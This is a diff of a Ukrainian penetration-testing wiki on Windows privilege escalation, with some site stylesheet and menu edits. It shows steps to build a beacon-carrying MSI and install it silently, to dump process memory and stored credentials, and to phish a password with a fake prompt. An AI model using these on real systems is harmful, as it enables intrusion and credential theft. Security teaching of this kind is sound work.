> Якщо ми маємо можливість змінювати наш локальний проксі, і Windows Updates використовує проксі, налаштований у параметрах Internet Explorer, ми, отже, маємо можливість запускати [PyWSUS](https://github.com/GoSecure/pywsus) локально, щоб перехоплювати наш власний трафік і виконувати код як підвищений користувач на нашому активі.
>
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу довіри при першому використанні на сертифікаті. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що представляється, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він буде звільнений).
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
## KrbRelayUp
В **локальному підвищенні привілеїв** існує вразливість у середовищах **домену** Windows за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
@ -194,7 +194,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## AlwaysInstallElevated
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі будь-якого привілею можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі будь-яких привілеїв можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -216,36 +216,36 @@ Write-UserAddMSI
### MSI Wrapper
Прочитайте цей посібник, щоб дізнатися, як створити обгортку MSI за допомогою цих інструментів. Зверніть увагу, що ви можете обернути файл "**.bat**", якщо ви **просто** хочете **виконати** **командні рядки**.
Прочитайте цей посібник, щоб дізнатися, як створити MSI обгортку за допомогою цих інструментів. Зверніть увагу, що ви можете обгорнути файл "**.bat**", якщо ви **просто** хочете **виконати** **командні рядки**.
{{#ref}}
msi-wrapper.md
{{#endref}}
### Створення MSI з WIX
### Create MSI with WIX
{{#ref}}
create-msi-with-wix.md
{{#endref}}
### Створення MSI з Visual Studio
### Create MSI with Visual Studio
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у полі пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Завершити**.
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
- Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Властивостях** змініть **TargetPlatform** з **x86** на **x64**.
- Є й інші властивості, які ви можете змінити, такі як **Автор** та **Виробник**, що можуть зробити встановлений додаток більш легітимним.
- Клацніть правою кнопкою миші на проекті та виберіть **Перегляд > Користувацькі дії**.
- Клацніть правою кнопкою миші на **Встановити** та виберіть **Додати користувацьку дію**.
- Двічі клацніть на **Тека програми**, виберіть ваш файл **beacon.exe** і натисніть **ОК**. Це забезпечить виконання payload beacon, як тільки інсталятор буде запущено.
- Двічі клацніть на **Папка програми**, виберіть ваш файл **beacon.exe** і натисніть **ОК**. Це забезпечить виконання payload beacon, як тільки інсталятор буде запущено.
- У **Властивостях користувацької дії** змініть **Run64Bit** на **True**.
- Нарешті, **зберіть його**.
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
### Встановлення MSI
### MSI Installation
Щоб виконати **встановлення** шкідливого файлу `.msi` у **фоновому режимі:**
Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоновому режимі:**
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
{{#ref}}
../active-directory-methodology/laps.md
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### Дозволи на файли та папки
По-перше, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарними файлами для можливого використання [**DLL Hijacking атак**](dll-hijacking/):
Перевірте, чи можете ви **перезаписати деякий запущений бінарний файл** або чи маєте ви права на запис у папку з бінарними файлами для можливого використання [**атаки DLL Hijacking**](dll-hijacking/):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Завжди перевіряйте наявність можливих [**electron/cef/chromium дебагерів** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Перевірка дозволів бінарних файлів процесів**
```bash
@ -389,9 +389,9 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone
todos %username%" && echo.
)
```
### Витягування паролів з пам'яті
### Memory Password mining
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте витягнути пам'ять і прочитати облікові дані.
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте зробити дамп пам'яті та прочитати облікові дані.
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
@ -416,7 +416,7 @@ Get-Service
```bash
sc qc <service_name>
```
Рекомендується мати бінарний файл **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
Рекомендується мати бінарний **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
```bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
```
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Якщо ви отримуєте цю помилку (наприклад, з SSDPSRV):
_Сталася системна помилка 1058._\
&#xNAN;_&#x54;he service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
&#xNAN;_&#x54;лужба не може бути запущена, або тому, що вона вимкнена, або тому, що з нею не пов'язано жодних увімкнених пристроїв._
Ви можете увімкнути її, використовуючи
```bash
@ -475,7 +475,7 @@ net stop [service name] && net start [service name]
### Слабкі дозволи бінарних файлів служб
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) та перевірити свої дозволи, використовуючи **icacls**:
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи, використовуючи **icacls**:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -513,7 +513,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t RE
appenddata-addsubdirectory-permission-over-service-registry.md
{{#endref}}
### Неподані шляхи до служб
### Неправильно вказані шляхи до служб
Якщо шлях до виконуваного файлу не в лапках, Windows спробує виконати кожен закінчення перед пробілом.
@ -555,7 +555,7 @@ Windows дозволяє користувачам вказувати дії, я
### Installed Applications
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/)).
Перевірте **дозволи бінарних файлів** (можливо, ви зможете перезаписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -705,7 +705,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з за замовчуванням сховища.
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням.
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
```bash
@ -727,11 +727,11 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
Зашифровані RSA ключі користувача, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [ідентифікатор безпеки](https://en.wikipedia.org/wiki/Security_Identifier) користувача. **Ключ DPAPI, розташований разом з майстер-ключем, який захищає приватні ключі користувача в одному файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цього каталогу обмежений, що заважає перерахуванню його вмісту за допомогою команди `dir` у CMD, хоча його можна перерахувати через PowerShell).
Зашифровані RSA ключі користувача, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [ідентифікатор безпеки](https://en.wikipedia.org/wiki/Security_Identifier) користувача. **Ключ DPAPI, розташований разом з майстер-ключем, який захищає приватні ключі користувача в одному файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цього каталогу обмежений, що заважає перерахунку його вмісту за допомогою команди `dir` у CMD, хоча його можна перерахувати через PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -896,7 +896,7 @@ else { Write "Not Installed." }
```bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
```
### Ключі хоста Putty SSH
### Ключі хостів Putty SSH
```
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
@ -932,6 +932,8 @@ C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
Ви також можете шукати ці файли, використовуючи **metasploit**: _post/windows/gather/enum_unattend_
Приклад вмісту:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -1052,7 +1054,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Запит на облікові дані
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питання** клієнта безпосередньо про **облікові дані** є дійсно **ризикованим**):
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1164,9 +1166,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
### **Перезапис DLL COM**
### **Перезапис COM DLL**
**Компонентна об'єктна модель (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
**Component Object Model (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
Класи та інтерфейси COM визначені в реєстрі під **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** та **HKEY\_**_**CLASSES\_**_**ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
@ -1225,13 +1227,13 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Named Pipe Client Impersonation
Сегменти спільної пам'яті, які називаються **трубами**, дозволяють процесам спілкуватися та передавати дані.
Спільні сегменти пам'яті, які називаються **трубами**, дозволяють процесам спілкуватися та передавати дані.
Windows надає функцію, звану **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих труб** та **клієнт іменованих труб**.
Windows надає функцію, звану **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **named pipe server** та **named pipe client**.
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](./#from-high-integrity-to-system).
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви встановили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](./#from-high-integrity-to-system).
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованих труб за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Також наступний інструмент дозволяє **перехоплювати комунікацію через named pipe за допомогою інструменту, як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
@ -1299,7 +1301,7 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388
## Від середнього рівня адміністратора до високого рівня цілісності / обхід UAC
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
Прочитайте це, щоб **дізнатися про рівні цілісності**:
@ -1339,26 +1341,28 @@ sc start newservicename
### **Named Pipes**
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Тоді **сервер**, що створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служби), отримуючи привілеї SYSTEM.\
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Тоді **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служби), отримуючи привілеї SYSTEM.\
Якщо ви хочете [**дізнатися більше про іменовані канали, вам слід прочитати це**](./#named-pipe-client-impersonation).\
Якщо ви хочете прочитати приклад [**як перейти з високої цілісності до System, використовуючи іменовані канали, вам слід прочитати це**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо значно **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/)**.**
### **Від Administrator або Network Service до System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### Від LOCAL SERVICE або NETWORK SERVICE до повних привілей
### Від LOCAL SERVICE або NETWORK SERVICE до повних привілеїв
**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## Більше допомоги
[Статичні бінарні файли impacket](https://github.com/ropnop/impacket_static_binaries)
[Статичні бінарники impacket](https://github.com/ropnop/impacket_static_binaries)
## Корисні інструменти
@ -1372,7 +1376,7 @@ sc start newservicename
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує інформацію про збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough в локальному режимі.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Диспетчера облікових даних. Виявлено.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розподіл зібраних паролів по домену**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилення зібраних паролів по домену**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh є спуфером PowerShell ADIDNS/LLMNR/mDNS/NBNS та інструментом "людина посередині".**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Основна перевірка привілеїв Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих вразливостей привілеїв (ДЕПРЕЦІЙНО для Watson)\

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato не працює** на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) можуть бути використані для **отримання тих же привілеїв і доступу на рівні `NT AUTHORITY\SYSTEM`**. _**Перевірте:**_
> [!WARNING] > **JuicyPotato не працює** на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) можуть бути використані для **отримання тих же привілеїв і доступу на рівні `NT AUTHORITY\SYSTEM`**. _**Перевірте:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -11,7 +10,7 @@ roguepotato-and-printspoofer.md
## Juicy Potato (зловживання золотими привілеями) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Цукрова версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з трохи соку, тобто **інший інструмент підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM**_
_Солодка версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з трохи соку, тобто **інший інструмент підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM**_
#### Ви можете завантажити juicypotato з [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
@ -39,7 +38,7 @@ JuicyPotato дозволяє вам:
- **Цільовий CLSID** _виберіть будь-який CLSID, який ви хочете._ [_Тут_](http://ohpe.it/juicy-potato/CLSID/) _ви можете знайти список, організований за ОС._
- **COM порт прослуховування** _визначте COM порт прослуховування, який ви віддаєте перевагу (замість зашитого 6666)_
- **IP-адреса прослуховування COM** _прив'яжіть сервер до будь-якої IP-адреси_
- **COM IP-адреса прослуховування** _прив'яжіть сервер до будь-якої IP-адреси_
- **Режим створення процесу** _в залежності від привілеїв імперсонованого користувача ви можете вибрати з:_
- `CreateProcessWithToken` (потрібен `SeImpersonate`)
- `CreateProcessAsUser` (потрібен `SeAssignPrimaryToken`)
@ -108,13 +107,15 @@ c:\Users\Public>
Часто стандартний CLSID, який використовує JuicyPotato, **не працює** і експлойт зазнає невдачі. Зазвичай, потрібно кілька спроб, щоб знайти **працюючий CLSID**. Щоб отримати список CLSID для конкретної операційної системи, вам слід відвідати цю сторінку:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Перевірка CLSID**
Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe.
Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу сесію PS, а також завантажте та виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування.
Завантажте [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) і завантажте його у вашу PS сесію, а також завантажте та виконайте [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Цей скрипт створить список можливих CLSID для тестування.
Потім завантажте [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне пробувати кожен CLSID, і **коли номер порту зміниться, це означатиме, що CLSID спрацював**.

View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
